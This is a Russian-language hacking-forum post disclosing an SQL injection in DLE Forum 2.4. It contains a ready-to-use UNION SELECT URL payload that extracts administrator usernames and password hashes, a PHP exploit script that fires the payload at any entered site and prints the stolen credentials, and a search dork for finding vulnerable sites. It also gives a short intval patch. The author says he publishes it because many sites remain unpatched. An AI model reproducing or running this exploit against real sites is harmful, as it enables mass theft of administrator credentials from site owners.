|
Познающий
Регистрация: 29.05.2009
Сообщений: 55
Провел на форуме: 807573
Репутация:
7
|
|
dle forum 2.4 sql inj
Sql-inj в dle-forum*е 2.4 была найдена мной , ещё месяца 2 назат) решил выложить , т.к. сайтов ещё много дырявых.
site.ru/?do=forum&showtopic=23%2527+union+select+1,2,CONCA T_WS(0x3a,name,password),4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20,21,22,23+from+dle_users+where+ user_group=1+limit+1--
юзаем так ...
Защищаемся:
открываем файл: engine/forum/sources/components/init.php
446 строка
PHP код:
....
if ($_REQUEST['category'])
{
$act = 'category';
$cid =$_REQUEST['category'];
$t_act = '?c'.$cid;
}
if ($_REQUEST['showforum'])
{
$act = 'forum';
$fid = $_REQUEST['showforum'];
$t_act = '?f'.$fid;
}
if ($_REQUEST['showtopic'])
{
$act = 'topic';
$tid = $_REQUEST['showtopic'];
$t_act = '?t'.$tid;
}
......
заменяем на
PHP код:
......
if ($_REQUEST['category'])
{
$act = 'category';
$cid = intval($_REQUEST['category']);
$t_act = '?c'.$cid;
}
if ($_REQUEST['showforum'])
{
$act = 'forum';
$fid = intval($_REQUEST['showforum']);
$t_act = '?f'.$fid;
}
if ($_REQUEST['showtopic'])
{
$act = 'topic';
$tid = intval($_REQUEST['showtopic']);
$t_act = '?t'.$tid;
}
.....
вот типа сплоит писал месяца 2 назат для себя.
PHP код:
<form method="POST" >
Введи сайт "например" "<b>alldle.ru</b>" <input type="text" name="site" value="<?=$_POST['site']?>">
лимит вводить если показало mysql error<input type="text" name="lim" value="<?=$_POST['lim']?>">
<input type="submit" value="send">
</form>
<?php
if (!empty($_POST['site'])){
$lim="1";
if (!empty($_POST['lim'])){$lim ="{$_POST['lim']},";$lim .=$_POST['lim'];}
$url='http://'.$_POST['site'].'/?do=forum&showtopic=23%2527+union+select+1,2,CONCAT_WS(0x3a,name,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+dle_users+where+user_group=1+limit+'.$lim.'--';
$ua='Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10';
$cu=curl_init($url);
curl_setopt($cu,CURLOPT_HEADER, 0);
curl_setopt($cu,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cu,CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($cu,CURLOPT_USERAGENT, $ua);
$log=curl_exec($cu);
$log=html_entity_decode($log);
if (preg_match_all('#<title>(.*)» (.*)</title>#i',$log,$log2)){
$ss=$log2[2][0];
if (!preg_match('#[:]#is',$ss,$loggg)){ echo 'нету баги ';exit;}
$save=explode(':',$ss);
echo " <b>site:</b> <font color='green'> ".$_POST['site']."</font><br>";
echo " <b>name:</b> <font color='red'> ".$save[0]."</font><br>";
echo "<b>pass:</b> <font color='blue'> ".$save[1]."</font><br>";
}
else { echo " баги не найдено =( ";preg_match_all('#<title>(.*)</title>#i',$log,$logi); echo "<b>{$logi[1][0]}</b>";}
curl_close($cu);
}
?>
(c) dark_cracker
dork:
inurl:/forum/ intext LE Forum v.2.4 © 2010 Pocketx.Ru
|